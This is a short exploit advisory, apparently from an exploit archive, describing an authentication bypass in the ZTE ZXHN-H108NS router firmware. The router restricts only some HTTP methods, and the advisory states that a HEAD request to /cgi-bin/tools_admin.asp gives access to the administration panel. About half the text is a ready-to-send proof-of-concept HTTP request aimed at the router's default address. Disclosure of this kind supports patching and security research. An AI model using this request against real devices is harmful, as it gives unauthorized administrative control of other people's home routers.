ZTE ZXHN-H108NS Authentication Bypass

`# Exploit Title: Router ZTE-H108NS - Authentication Bypass  
# Date: 19-11-2022  
# Exploit Author: George Tsimpidas   
# Vendor: https://www.zte.com.cn/global/  
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68  
# CVE: N/A # Tested on: Debian 5.18.5  
  
Description :  
  
When specific http methods are listed within a security constraint,  
then only those  
methods are protected. Router ZTE-H108NS defines the following http  
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed  
operation which allows the HEAD to be implemented correctly with every  
Response Status Code.  
  
  
Proof Of Concept :  
  
Below request bypasses successfully the Basic Authentication, and  
grants access to the Administration Panel of the Router.  
  
  
HEAD /cgi-bin/tools_admin.asp HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Cookie: SESSIONID=1cd6bb77  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
`